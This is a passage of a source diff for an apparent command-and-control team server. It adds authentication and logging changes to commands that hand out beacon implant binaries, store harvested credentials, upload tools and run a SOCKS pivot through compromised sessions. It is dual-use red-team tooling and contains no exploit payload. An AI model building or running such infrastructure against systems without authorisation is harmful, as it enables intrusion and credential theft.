sockaddr_in*)temp_addr->ifa_addr)->sin_addr, addressBuffer, INET_ADDRSTRLEN); ipAddress = addressBuffer; } } @@ -1149,7 +1553,6 @@ std::string getIPAddress(std::string &interface) return ipAddress; } - const std::string InfoListenerInstruction = "infoListener"; const std::string GetBeaconBinaryInstruction = "getBeaconBinary"; const std::string PutIntoUploadDirInstruction = "putIntoUploadDir"; @@ -1160,939 +1563,965 @@ const std::string AddCredentialInstruction = "addCred"; const std::string GetCredentialInstruction = "getCred"; const std::string SocksInstruction_ = "socks"; - -grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response) +grpc::Status TeamServer::SendTermCmd(grpc::ServerContext* context, const teamserverapi::TermCommand* command, teamserverapi::TermCommand* response) { - m_logger->trace("SendTermCmd"); + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; - std::string cmd = command->cmd(); - m_logger->debug("SendTermCmd {0}",cmd); + m_logger->trace("SendTermCmd"); - std::vector splitedCmd; - splitInputCmd(cmd, splitedCmd); + std::string cmd = command->cmd(); + m_logger->debug("SendTermCmd {0}", cmd); - teamserverapi::TermCommand responseTmp; - std::string none=""; - responseTmp.set_cmd(none); - responseTmp.set_result(none); - responseTmp.set_data(none); + std::vector splitedCmd; + splitInputCmd(cmd, splitedCmd); - string instruction = splitedCmd[0]; - if(instruction==InfoListenerInstruction) - { - m_logger->info("infoListener {0}", cmd); + teamserverapi::TermCommand responseTmp; + std::string none = ""; + responseTmp.set_cmd(none); + responseTmp.set_result(none); + responseTmp.set_data(none); - if(splitedCmd.size()==2) - { - std::string listenerHash = splitedCmd[1]; + string instruction = splitedCmd[0]; + if (instruction == InfoListenerInstruction) + { + m_logger->debug("infoListener {0}", cmd); - for (int i = 0; i < m_listeners.size(); i++) - { - const std::string& hash = m_listeners[i]->getListenerHash(); + if (splitedCmd.size() == 2) + { + std::string listenerHash = splitedCmd[1]; - // Check if the hash of the primary listener start with the given hash: - if (hash.rfind(listenerHash, 0) == 0) - { - std::string type = m_listeners[i]->getType(); + for (int i = 0; i < m_listeners.size(); i++) + { + const std::string& hash = m_listeners[i]->getListenerHash(); - std::string domainName=""; - auto it = m_config.find("DomainName"); - if(it != m_config.end()) - domainName = m_config["DomainName"].get(); + // Check if the hash of the primary listener start with the given hash: + if (hash.rfind(listenerHash, 0) == 0) + { + std::string type = m_listeners[i]->getType(); - std::string exposedIp=""; - it = m_config.find("ExposedIp"); - if(it != m_config.end()) - exposedIp = m_config["ExposedIp"].get(); + std::string domainName = ""; + auto it = m_config.find("DomainName"); + if (it != m_config.end()) + domainName = m_config["DomainName"].get(); - std::string interface=""; - it = m_config.find("IpInterface"); - if(it != m_config.end()) - interface = m_config["IpInterface"].get(); + std::string exposedIp = ""; + it = m_config.find("ExposedIp"); + if (it != m_config.end()) + exposedIp = m_config["ExposedIp"].get(); - std::string ip = ""; - if(!interface.empty()) - ip = getIPAddress(interface); + std::string interface = ""; + it = m_config.find("IpInterface"); + if (it != m_config.end()) + interface = m_config["IpInterface"].get(); - if(ip.empty() && domainName.empty() && exposedIp.empty()) - { - responseTmp.set_result("Error: No IP or Hostname in config."); - *response = responseTmp; - return grpc::Status::OK; - } + std::string ip = ""; + if (!interface.empty()) + ip = getIPAddress(interface); - std::string port = m_listeners[i]->getParam2(); - std::string uriFileDownload = ""; + if (ip.empty() && domainName.empty() && exposedIp.empty()) + { + responseTmp.set_result("Error: No IP or Hostname in config."); + *response = responseTmp; + return grpc::Status::OK; + } - if (type == ListenerHttpType) - { - json configHttp = m_config["ListenerHttpConfig"]; + std::string port = m_listeners[i]->getParam2(); + std::string uriFileDownload = ""; - auto it = configHttp.find("uriFileDownload"); - if(it != configHttp.end()) - uriFileDownload = configHttp["uriFileDownload"].get(); - - } - else if (type == ListenerHttpsType) - { - json configHttps = m_config["ListenerHttpsConfig"]; + if (type == ListenerHttpType) + { + json configHttp = m_config["ListenerHttpConfig"]; - auto it = configHttps.find("uriFileDownload"); - if(it != configHttps.end()) - uriFileDownload = configHttps["uriFileDownload"].get();; - } + auto it = configHttp.find("uriFileDownload"); + if (it != configHttp.end()) + uriFileDownload = configHttp["uriFileDownload"].get(); + } + else if (type == ListenerHttpsType) + { + json configHttps = m_config["ListenerHttpsConfig"]; - std::string finalDomain; - if(!domainName.empty()) - finalDomain=domainName; - else if(!exposedIp.empty()) - finalDomain=exposedIp; - else if(!ip.empty()) - finalDomain=ip; + auto it = configHttps.find("uriFileDownload"); + if (it != configHttps.end()) + uriFileDownload = configHttps["uriFileDownload"].get(); + ; + } - m_logger->info("infoListener found in primary listeners {0} {1} {2}", type, finalDomain, port); + std::string finalDomain; + if (!domainName.empty()) + finalDomain = domainName; + else if (!exposedIp.empty()) + finalDomain = exposedIp; + else if (!ip.empty()) + finalDomain = ip; - std::string result=type; - result+="\n"; - result+=finalDomain; - result+="\n"; - result+=port; - result+="\n"; - result+=uriFileDownload; + m_logger->debug("infoListener found in primary listeners {0} {1} {2}", type, finalDomain, port); - responseTmp.set_result(result); - } - // Check secondary listeners - smb / tcp: - else - { - // check for each sessions alive from this listener check if their is listeners - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); + std::string result = type; + result += "\n"; + result += finalDomain; + result += "\n"; + result += port; + result += "\n"; + result += uriFileDownload; - if(!session->isSessionKilled()) - { - for(auto it = session->getListener().begin() ; it != session->getListener().end(); ++it ) - { + responseTmp.set_result(result); + } + // Check secondary listeners - smb / tcp: + else + { + // check for each sessions alive from this listener check if their is listeners + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); - const std::string& hash = it->getListenerHash(); + if (!session->isSessionKilled()) + { + for (auto it = session->getListener().begin(); it != session->getListener().end(); ++it) + { - // Check if the hash of the primary listener start with the given hash: - if (hash.rfind(listenerHash, 0) == 0) - { - // TODO we got an issue here to get the ip where the the listener can be contacted ? especialy for smb ? - std::string type = it->getType(); - std::string param1 = it->getParam1(); - std::string param2 = it->getParam2(); + const std::string& hash = it->getListenerHash(); - m_logger->info("infoListener found in beacon listener {0} {1} {2}", type, param1, param2); - - std::string result=type; - result+="\n"; - result+=param1; - result+="\n"; - result+=param2; - result+="\n"; - result+="none"; + // Check if the hash of the primary listener start with the given hash: + if (hash.rfind(listenerHash, 0) == 0) + { + // TODO we got an issue here to get the ip where the the listener can be contacted ? especialy for smb ? + std::string type = it->getType(); + std::string param1 = it->getParam1(); + std::string param2 = it->getParam2(); - responseTmp.set_result(result); - } - } - } - } - } - } + m_logger->debug("infoListener found in beacon listener {0} {1} {2}", type, param1, param2); - if(responseTmp.result().empty()) - { - m_logger->error("Error: Listener {} not found.", listenerHash); + std::string result = type; + result += "\n"; + result += param1; + result += "\n"; + result += param2; + result += "\n"; + result += "none"; - responseTmp.set_result("Error: Listener not found."); - *response = responseTmp; - return grpc::Status::OK; - } - } - else - { - responseTmp.set_result("Error: infoListener take one arguement."); - *response = responseTmp; - return grpc::Status::OK; - } - } - else if(instruction==GetBeaconBinaryInstruction) - { - m_logger->info("getBeaconBinary {0}", cmd); + responseTmp.set_result(result); + } + } + } + } + } + } - if(splitedCmd.size()==2 || splitedCmd.size()==3) - { - std::string listenerHash = splitedCmd[1]; - - std::string targetOs = "Windows"; - if( splitedCmd.size()==3 && splitedCmd[2]=="Linux") - targetOs = "Linux"; + if (responseTmp.result().empty()) + { + m_logger->error("Error: Listener {} not found.", listenerHash); - for (int i = 0; i < m_listeners.size(); i++) - { - const std::string& hash = m_listeners[i]->getListenerHash(); + responseTmp.set_result("Error: Listener not found."); + *response = responseTmp; + return grpc::Status::OK; + } + } + else + { + responseTmp.set_result("Error: infoListener take one arguement."); + *response = responseTmp; + return grpc::Status::OK; + } + } + else if (instruction == GetBeaconBinaryInstruction) + { + m_logger->debug("getBeaconBinary {0}", cmd); - // Check if the hash of the primary listener start with the given hash: - if (hash.rfind(listenerHash, 0) == 0) - { - std::string type = m_listeners[i]->getType(); - std::string beaconFilePath = ""; - if(type == ListenerHttpType || type == ListenerHttpsType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconHttp"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconHttp.exe"; - } - } - else if(type == ListenerTcpType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconTcp"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconTcp.exe"; - } - } - else if(type == ListenerGithubType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconGithub"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconGithub.exe"; - } - } - else if(type == ListenerDnsType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconDns"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconDns.exe"; - } - } + if (splitedCmd.size() == 2 || splitedCmd.size() == 3) + { + std::string listenerHash = splitedCmd[1]; - std::ifstream beaconFile(beaconFilePath, std::ios::binary ); - if (beaconFile.good()) - { - m_logger->info("getBeaconBinary found in primary listeners {0} {1}", type, targetOs); + std::string targetOs = "Windows"; + if (splitedCmd.size() == 3 && splitedCmd[2] == "Linux") + targetOs = "Linux"; - std::string binaryData((std::istreambuf_iterator(beaconFile)), std::istreambuf_iterator()); - responseTmp.set_data(binaryData); - responseTmp.set_result("ok"); - } - else - { - m_logger->error("Error: Beacons {0} {1} not found.", type, targetOs); + for (int i = 0; i < m_listeners.size(); i++) + { + const std::string& hash = m_listeners[i]->getListenerHash(); - responseTmp.set_result("Error: Beacons not found."); - *response = responseTmp; - return grpc::Status::OK; - } - } - // Check secondary listeners - smb / tcp: - else - { - // check for each sessions alive from this listener check if their is listeners - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); + // Check if the hash of the primary listener start with the given hash: + if (hash.rfind(listenerHash, 0) == 0) + { + std::string type = m_listeners[i]->getType(); + std::string beaconFilePath = ""; + if (type == ListenerHttpType || type == ListenerHttpsType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconHttp"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconHttp.exe"; + } + } + else if (type == ListenerTcpType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconTcp"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconTcp.exe"; + } + } + else if (type == ListenerGithubType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconGithub"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconGithub.exe"; + } + } + else if (type == ListenerDnsType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconDns"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconDns.exe"; + } + } - if(!session->isSessionKilled()) - { - for(auto it = session->getListener().begin() ; it != session->getListener().end(); ++it ) - { - const std::string& hash = it->getListenerHash(); + std::ifstream beaconFile(beaconFilePath, std::ios::binary); + if (beaconFile.good()) + { + m_logger->info("getBeaconBinary found in primary listeners {0} {1}", type, targetOs); - // Check if the hash of the primary listener start with the given hash: - if (hash.rfind(listenerHash, 0) == 0) - { - std::string type = it->getType(); - std::string param1 = it->getParam1(); - std::string param2 = it->getParam2(); - - std::string beaconFilePath = ""; - if(type == ListenerTcpType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconTcp"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconTcp.exe"; - } - } - else if(type == ListenerSmbType ) - { - if (targetOs == "Linux") - { - beaconFilePath = m_linuxBeaconsDirectoryPath; - beaconFilePath += "BeaconSmb"; - } - else - { - beaconFilePath = m_windowsBeaconsDirectoryPath; - beaconFilePath += "BeaconSmb.exe"; - } - } + std::string binaryData((std::istreambuf_iterator(beaconFile)), std::istreambuf_iterator()); + responseTmp.set_data(binaryData); + responseTmp.set_result("ok"); + } + else + { + m_logger->error("Error: Beacons {0} {1} not found.", type, targetOs); - std::ifstream beaconFile(beaconFilePath, std::ios::binary ); - if (beaconFile.good()) - { - m_logger->info("getBeaconBinary found in beacon listeners {0} {1}", type, targetOs); + responseTmp.set_result("Error: Beacons not found."); + *response = responseTmp; + return grpc::Status::OK; + } + } + // Check secondary listeners - smb / tcp: + else + { + // check for each sessions alive from this listener check if their is listeners + int nbSession = m_listeners[i]->getNumberOfSession(); + for (int kk = 0; kk < nbSession; kk++) + { + std::shared_ptr session = m_listeners[i]->getSessionPtr(kk); - std::string binaryData((std::istreambuf_iterator(beaconFile)), std::istreambuf_iterator()); - responseTmp.set_data(binaryData); - responseTmp.set_result("ok"); - } - else - { - m_logger->error("Error: Beacons {0} {1} not found.", type, targetOs); + if (!session->isSessionKilled()) + { + for (auto it = session->getListener().begin(); it != session->getListener().end(); ++it) + { + const std::string& hash = it->getListenerHash(); - responseTmp.set_result("Error: Beacons not found."); - *response = responseTmp; - return grpc::Status::OK; - } - } - } - } - } - } - } + // Check if the hash of the primary listener start with the given hash: + if (hash.rfind(listenerHash, 0) == 0) + { + std::string type = it->getType(); + std::string param1 = it->getParam1(); + std::string param2 = it->getParam2(); - if(responseTmp.result().empty()) - { - responseTmp.set_result("Error: Listener not found."); - *response = responseTmp; - return grpc::Status::OK; - } - } - else - { - responseTmp.set_result("Error: getBeaconBinary take one arguement."); - *response = responseTmp; - return grpc::Status::OK; - } - } - else if(instruction==PutIntoUploadDirInstruction) - { - m_logger->info("putIntoUploadDir {0}", cmd); + std::string beaconFilePath = ""; + if (type == ListenerTcpType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconTcp"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconTcp.exe"; + } + } + else if (type == ListenerSmbType) + { + if (targetOs == "Linux") + { + beaconFilePath = m_linuxBeaconsDirectoryPath; + beaconFilePath += "BeaconSmb"; + } + else + { + beaconFilePath = m_windowsBeaconsDirectoryPath; + beaconFilePath += "BeaconSmb.exe"; + } + } - if(splitedCmd.size()==3) - { - std::string listenerHash = splitedCmd[1]; + std::ifstream beaconFile(beaconFilePath, std::ios::binary); + if (beaconFile.good()) + { + m_logger->info("getBeaconBinary found in beacon listeners {0} {1}", type, targetOs); - std::string filename = splitedCmd[2]; - if (filename.find_first_not_of("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890-_.") != std::string::npos) - { - responseTmp.set_result("Error: filename not allowed."); - *response = responseTmp; - return grpc::Status::OK; - } - std::string data = command->data(); + std::string binaryData((std::istreambuf_iterator(beaconFile)), std::istreambuf_iterator()); + responseTmp.set_data(binaryData); + responseTmp.set_result("ok"); + } + else + { + m_logger->error("Error: Beacons {0} {1} not found.", type, targetOs); - std::string downloadFolder=""; - for (int i = 0; i < m_listeners.size(); i++) - { - std::string hash = m_listeners[i]->getListenerHash(); - if (hash.find(listenerHash) != std::string::npos) - { - std::string type = m_listeners[i]->getType(); + responseTmp.set_result("Error: Beacons not found."); + *response = responseTmp; + return grpc::Status::OK; + } + } + } + } + } + } + } - try - { - if (type == ListenerHttpType) - { - json configHttp = m_config["ListenerHttpConfig"]; + if (responseTmp.result().empty()) + { + responseTmp.set_result("Error: Listener not found."); + *response = responseTmp; + return grpc::Status::OK; + } + } + else + { + responseTmp.set_result("Error: getBeaconBinary take one arguement."); + *response = responseTmp; + return grpc::Status::OK; + } + } + else if (instruction == PutIntoUploadDirInstruction) + { + m_logger->debug("putIntoUploadDir {0}", cmd); - auto it = configHttp.find("downloadFolder"); - if(it != configHttp.end()) - downloadFolder = configHttp["downloadFolder"].get();; - - } - else if (type == ListenerHttpsType) - { - json configHttps = m_config["ListenerHttpsConfig"]; + if (splitedCmd.size() == 3) + { + std::string listenerHash = splitedCmd[1]; - auto it = configHttps.find("downloadFolder"); - if(it != configHttps.end()) - downloadFolder = configHttps["downloadFolder"].get();; - } - } - catch(...) - { - responseTmp.set_result("Error: Value not found in config file."); - } - } - } + std::string filename = splitedCmd[2]; + if (filename.find_first_not_of("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890-_.") != std::string::npos) + { + responseTmp.set_result("Error: filename not allowed."); + *response = responseTmp; + return grpc::Status::OK; + } + std::string data = command->data(); - if(!downloadFolder.empty()) - { - std::string filePath = downloadFolder; - filePath+="/"; - filePath+=filename; + std::string downloadFolder = ""; + for (int i = 0; i < m_listeners.size(); i++) + { + std::string hash = m_listeners[i]->getListenerHash(); + if (hash.find(listenerHash) != std::string::npos) + { + std::string type = m_listeners[i]->getType(); - ofstream outputFile(filePath, ios::out | ios::binary); - if (outputFile.good()) - { - outputFile << data; - outputFile.close(); - responseTmp.set_result("ok"); - } - else - { - responseTmp.set_result("Error: Cannot write file."); - } - } - else - { - responseTmp.set_result("Error: Listener don't have a download folder."); - } - } - else - { - responseTmp.set_result("Error: putIntoUploadDir take tow arguements."); - *response = responseTmp; - return grpc::Status::OK; - } - } - else if(instruction==BatcaveInstruction) - { - m_logger->info("batcaveUpload {0}", cmd); - if(splitedCmd.size()==2) - { - std::string filename = splitedCmd[1]; - m_logger->info("batcaveUpload {0}", filename); - if (filename.find_first_not_of("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890-_.") != std::string::npos) - { - responseTmp.set_result("Error: filename not allowed."); - *response = responseTmp; - return grpc::Status::OK; - } - std::string data = command->data(); - std::string filePath = m_toolsDirectoryPath; - filePath+="/"; - filePath+=filename; + try + { + if (type == ListenerHttpType) + { + json configHttp = m_config["ListenerHttpConfig"]; - ofstream outputFile(filePath, ios::out | ios::binary); - if (outputFile.good()) - { - outputFile << data; - outputFile.close(); - responseTmp.set_result("ok"); - } - else - { - responseTmp.set_result("Error: Cannot write file."); - } - return grpc::Status::OK; - } - } - // TODO handle some sort of backup - else if(instruction==AddCredentialInstruction) - { - m_logger->info("AddCredentials {0}", cmd); + auto it = configHttp.find("downloadFolder"); + if (it != configHttp.end()) + downloadFolder = configHttp["downloadFolder"].get(); + ; + } + else if (type == ListenerHttpsType) + { + json configHttps = m_config["ListenerHttpsConfig"]; - std::string data = command->data(); + auto it = configHttps.find("downloadFolder"); + if (it != configHttps.end()) + downloadFolder = configHttps["downloadFolder"].get(); + ; + } + } + catch (...) + { + responseTmp.set_result("Error: Value not found in config file."); + } + } + } + + if (!downloadFolder.empty()) + { + std::string filePath = downloadFolder; + filePath += "/"; + filePath += filename; + + ofstream outputFile(filePath, ios::out | ios::binary); + if (outputFile.good()) + { + outputFile << data; + outputFile.close(); + responseTmp.set_result("ok"); + m_logger->info("Stored uploaded file '{0}' for listener {1} in {2}", filename, listenerHash, filePath); + } + else + { + responseTmp.set_result("Error: Cannot write file."); + m_logger->warn("Failed to store uploaded file '{0}' for listener {1} in {2}", filename, listenerHash, filePath); + } + } + else + { + responseTmp.set_result("Error: Listener don't have a download folder."); + m_logger->warn("Listener {0} has no download folder configured; unable to store {1}", listenerHash, filename); + } + } + else + { + responseTmp.set_result("Error: putIntoUploadDir take tow arguements."); + *response = responseTmp; + return grpc::Status::OK; + } + } + else if (instruction == BatcaveInstruction) + { + m_logger->debug("batcaveUpload {0}", cmd); + if (splitedCmd.size() == 2) + { + std::string filename = splitedCmd[1]; + m_logger->debug("batcaveUpload {0}", filename); + if (filename.find_first_not_of("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890-_.") != std::string::npos) + { + responseTmp.set_result("Error: filename not allowed."); + *response = responseTmp; + return grpc::Status::OK; + } + std::string data = command->data(); + std::string filePath = m_toolsDirectoryPath; + filePath += "/"; + filePath += filename; + + ofstream outputFile(filePath, ios::out | ios::binary); + if (outputFile.good()) + { + outputFile << data; + outputFile.close(); + responseTmp.set_result("ok"); + m_logger->info("Saved uploaded tool '{0}' to {1}", filename, filePath); + } + else + { + responseTmp.set_result("Error: Cannot write file."); + m_logger->warn("Failed to store uploaded tool '{0}' at {1}", filename, filePath); + } + return grpc::Status::OK; + } + } + // TODO handle some sort of backup + else if (instruction == AddCredentialInstruction) + { + m_logger->debug("AddCredentials command received"); + + std::string data = command->data(); json cred = json::parse(data); m_credentials.push_back(cred); - responseTmp.set_result("ok"); - return grpc::Status::OK; + m_logger->info("Stored credential entry. Total credentials: {0}", m_credentials.size()); + responseTmp.set_result("ok"); + return grpc::Status::OK; } - else if(instruction==GetCredentialInstruction) - { - m_logger->info("GetCredentials {0}", cmd); - - responseTmp.set_result(m_credentials.dump()); - *response = responseTmp; - return grpc::Status::OK; + else if (instruction == GetCredentialInstruction) + { + m_logger->debug("GetCredentials command received"); + + responseTmp.set_result(m_credentials.dump()); + *response = responseTmp; + return grpc::Status::OK; } - // TODO - else if(instruction==ReloadModulesInstruction) - { - m_logger->info("Reloading TeamServer modules from directory: {0}", m_teamServerModulesDirectoryPath.c_str()); + // TODO + else if (instruction == ReloadModulesInstruction) + { + m_logger->info("Reloading TeamServer modules from directory: {0}", m_teamServerModulesDirectoryPath.c_str()); - // Clear previously loaded modules - m_moduleCmd.clear(); + // Clear previously loaded modules + m_moduleCmd.clear(); + std::size_t reloadedModules = 0; - try { - for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) - { - if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") - { - m_logger->info("Trying to load {0}", entry.path().c_str()); + try + { + for (const auto& entry : fs::recursive_directory_iterator(m_teamServerModulesDirectoryPath)) + { + if (fs::is_regular_file(entry.path()) && entry.path().extension() == ".so") + { + m_logger->debug("Trying to load {0}", entry.path().c_str()); - void* handle = dlopen(entry.path().c_str(), RTLD_LAZY); - if (!handle) - { - m_logger->warn("Failed to load {0}: {1}", entry.path().c_str(), dlerror()); - continue; - } + void* handle = dlopen(entry.path().c_str(), RTLD_LAZY); + if (!handle) + { + m_logger->warn("Failed to load {0}: {1}", entry.path().c_str(), dlerror()); + continue; + } - // Derive constructor function name - std::string funcName = entry.path().filename(); - funcName = funcName.substr(3); // remove lib - funcName = funcName.substr(0, funcName.length() - 3); // remove .so - funcName += "Constructor"; // add Constructor + // Derive constructor function name + std::string funcName = entry.path().filename(); + funcName = funcName.substr(3); // remove lib + funcName = funcName.substr(0, funcName.length() - 3); // remove .so + funcName += "Constructor"; // add Constructor - m_logger->info("Looking for constructor function: {0}", funcName); + m_logger->debug("Looking for constructor function: {0}", funcName); - constructProc construct = (constructProc)dlsym(handle, funcName.c_str()); - if (!construct) { - m_logger->warn("Failed to find constructor: {0}", dlerror()); - dlclose(handle); - continue; - } + constructProc construct = (constructProc)dlsym(handle, funcName.c_str()); + if (!construct) + { + m_logger->warn("Failed to find constructor: {0}", dlerror()); + dlclose(handle); + continue; + } - ModuleCmd* moduleCmd = construct(); - if (!moduleCmd) - { - m_logger->warn("Constructor returned null"); - dlclose(handle); - continue; - } + ModuleCmd* moduleCmd = construct(); + if (!moduleCmd) + { + m_logger->warn("Constructor returned null"); + dlclose(handle); + continue; + } - std::unique_ptr moduleCmdPtr(moduleCmd); - moduleCmdPtr->setDirectories( - m_teamServerModulesDirectoryPath, - m_linuxModulesDirectoryPath, - m_windowsModulesDirectoryPath, - m_linuxBeaconsDirectoryPath, - m_windowsBeaconsDirectoryPath, - m_toolsDirectoryPath, - m_scriptsDirectoryPath - ); + std::unique_ptr moduleCmdPtr(moduleCmd); + moduleCmdPtr->setDirectories( + m_teamServerModulesDirectoryPath, + m_linuxModulesDirectoryPath, + m_windowsModulesDirectoryPath, + m_linuxBeaconsDirectoryPath, + m_windowsBeaconsDirectoryPath, + m_toolsDirectoryPath, + m_scriptsDirectoryPath); - m_logger->info("Module {0} loaded", entry.path().filename().c_str()); - m_moduleCmd.push_back(std::move(moduleCmdPtr)); - } - } - } - catch (const std::filesystem::filesystem_error& e) - { - m_logger->warn("Error accessing module directory: {0}", e.what()); - } - } - else if(instruction == SocksInstruction_) - { - m_logger->info("socks {0}", cmd); - if(splitedCmd.size()>=2) - { - std::string cmd = splitedCmd[1]; + m_logger->debug("Module {0} loaded", entry.path().filename().c_str()); + m_moduleCmd.push_back(std::move(moduleCmdPtr)); + reloadedModules++; + } + } + } + catch (const std::filesystem::filesystem_error& e) + { + m_logger->warn("Error accessing module directory: {0}", e.what()); + } - // Start a thread that handle all the communication with the beacon - if(cmd == "start") - { - if(m_isSocksServerRunning==true) - { - m_logger->warn("Error: Socks server is already running"); - responseTmp.set_result("Error: Socks server is already running"); - *response = responseTmp; - return grpc::Status::OK; - } - else - { - // TODO put the port in config - int port = 1080; + if (reloadedModules == 0) + m_logger->warn("No TeamServer modules loaded from {0}", m_teamServerModulesDirectoryPath.c_str()); + else + m_logger->info("Reloaded {0} TeamServer module(s) from {1}", reloadedModules, m_teamServerModulesDirectoryPath.c_str()); + } + else if (instruction == SocksInstruction_) + { + m_logger->debug("socks {0}", cmd); + if (splitedCmd.size() >= 2) + { + std::string cmd = splitedCmd[1]; - bool isPortInUse = port_in_use(port); - if(!isPortInUse) - { - m_socksServer = std::make_unique(port); + // Start a thread that handle all the communication with the beacon + if (cmd == "start") + { + if (m_isSocksServerRunning == true) + { + m_logger->warn("Error: Socks server is already running"); + responseTmp.set_result("Error: Socks server is already running"); + *response = responseTmp; + return grpc::Status::OK; + } + else + { + // TODO put the port in config + int port = 1080; - int maxAttempt=3; - int attempts=0; - while(!m_socksServer->isServerLaunched()) - { - m_socksServer->stop(); - m_socksServer->launch(); - std::this_thread::sleep_for(std::chrono::milliseconds(1000)); - m_logger->info("Wait for SocksServer to start on port {}", port); - attempts++; - if(attempts>maxAttempt) - { - m_logger->error("Error: Unable to start the socks server on port {} after {} attempts", port, maxAttempt); - break; - } - } + bool isPortInUse = port_in_use(port); + if (!isPortInUse) + { + m_socksServer = std::make_unique(port); - if(m_socksServer->isServerStoped()) - { - m_logger->warn("Error: Socks server failed to start on port {}", port); - responseTmp.set_result("Error: Socks server failed to start on port "+std::to_string(port)); - *response = responseTmp; - return grpc::Status::OK; - } + int maxAttempt = 3; + int attempts = 0; + while (!m_socksServer->isServerLaunched()) + { + m_socksServer->stop(); + m_socksServer->launch(); + std::this_thread::sleep_for(std::chrono::milliseconds(1000)); + m_logger->debug("Wait for SocksServer to start on port {}", port); + attempts++; + if (attempts > maxAttempt) + { + m_logger->error("Error: Unable to start the socks server on port {} after {} attempts", port, maxAttempt); + break; + } + } - m_isSocksServerRunning=true; + if (m_socksServer->isServerStoped()) + { + m_logger->warn("Error: Socks server failed to start on port {}", port); + responseTmp.set_result("Error: Socks server failed to start on port " + std::to_string(port)); + *response = responseTmp; + return grpc::Status::OK; + } - m_logger->info("Socks server successfully started on port {}", port); - responseTmp.set_result("Socks server successfully started on port "+std::to_string(port)); - *response = responseTmp; - return grpc::Status::OK; - } - else - { - m_logger->warn("Error: Socks server port already used"); - responseTmp.set_result("Error: Socks server port already used"); - *response = responseTmp; - return grpc::Status::OK; - } - } - } - else if(cmd == "stop") - { - m_isSocksServerBinded=false; - if(m_socksThread) - m_socksThread->join(); - m_socksThread.reset(nullptr); + m_isSocksServerRunning = true; - m_isSocksServerRunning=false; - if(m_socksServer) - m_socksServer->stop(); - m_socksServer.reset(nullptr); + m_logger->info("Socks server successfully started on port {}", port); + responseTmp.set_result("Socks server successfully started on port " + std::to_string(port)); + *response = responseTmp; + return grpc::Status::OK; + } + else + { + m_logger->warn("Error: Socks server port already used"); + responseTmp.set_result("Error: Socks server port already used"); + *response = responseTmp; + return grpc::Status::OK; + } + } + } + else if (cmd == "stop") + { + m_isSocksServerBinded = false; + if (m_socksThread) + m_socksThread->join(); + m_socksThread.reset(nullptr); - m_logger->info("Socks server stoped"); - responseTmp.set_result("Socks server stoped"); - *response = responseTmp; - return grpc::Status::OK; - } - else if(cmd == "bind") - { - if(!m_isSocksServerRunning) - { - m_logger->warn("Error: Socks server not running"); - responseTmp.set_result("Error: Socks server not running"); - *response = responseTmp; - return grpc::Status::OK; - } - if(m_isSocksServerBinded) - { - m_logger->warn("Error: Socks server already bind"); - responseTmp.set_result("Error: Socks server already bind"); - *response = responseTmp; - return grpc::Status::OK; - } - if(splitedCmd.size()==3) - { - std::string beaconHash = splitedCmd[2]; - for (int i = 0; i < m_listeners.size(); i++) - { - int nbSession = m_listeners[i]->getNumberOfSession(); - for(int kk=0; kk session = m_listeners[i]->getSessionPtr(kk); - std::string hash = session->getBeaconHash(); - if (hash.find(beaconHash) != std::string::npos && !session->isSessionKilled()) - { - m_socksListener = m_listeners[i]; - m_socksSession = m_listeners[i]->getSessionPtr(kk); + m_isSocksServerRunning = false; + if (m_socksServer) + m_socksServer->stop(); + m_socksServer.reset(nullptr); - m_socksThread = std::make_unique(&TeamServer::socksThread, this); - - m_isSocksServerBinded=true; - m_logger->info("Socks server sucessfully binded"); - responseTmp.set_result("Socks server sucessfully binded\nThink 